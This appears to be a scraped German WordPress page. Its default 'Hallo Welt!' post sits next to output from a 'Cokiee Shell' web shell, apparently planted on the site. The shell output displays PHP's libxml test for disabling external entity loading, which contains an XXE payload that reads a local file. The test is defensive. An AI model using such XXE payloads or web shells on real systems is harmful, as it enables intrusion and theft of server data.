Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/libxml/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/libxml/tests/libxml_disable_entity_loader.phpt |
--TEST-- libxml_disable_entity_loader() --SKIPIF-- <?php if (!extension_loaded('libxml') || !extension_loaded('dom') || defined('PHP_WINDOWS_VERSION_MAJOR')) die('skip'); ?> --FILE-- <?php $xml = <<<EOT <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "XXE_URI">]> <foo>&xxe;</foo> EOT; $xml = str_replace('XXE_URI', __DIR__ . '/libxml_disable_entity_loader_payload.txt', $xml); function parseXML($xml) { $doc = new DOMDocument(); $doc->resolveExternals = true; $doc->substituteEntities = true; $doc->validateOnParse = false; $doc->loadXML($xml, 0); return $doc->saveXML(); } var_dump(strpos(parseXML($xml), 'SECRET_DATA') !== false); var_dump(libxml_disable_entity_loader(true)); var_dump(strpos(parseXML($xml), 'SECRET_DATA') === false); echo "Done\n"; ?> --EXPECTF-- bool(true) bool(false) Warning: DOMDocument::loadXML(): I/O warning : failed to load external entity "%s" in %s on line %d Warning: DOMDocument::loadXML(): Failure to process entity xxe in Entity, line: %d in %s on line %d Warning: DOMDocument::loadXML(): Entity 'xxe' not defined in Entity, line: %d in %s on line %d bool(true) Done
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare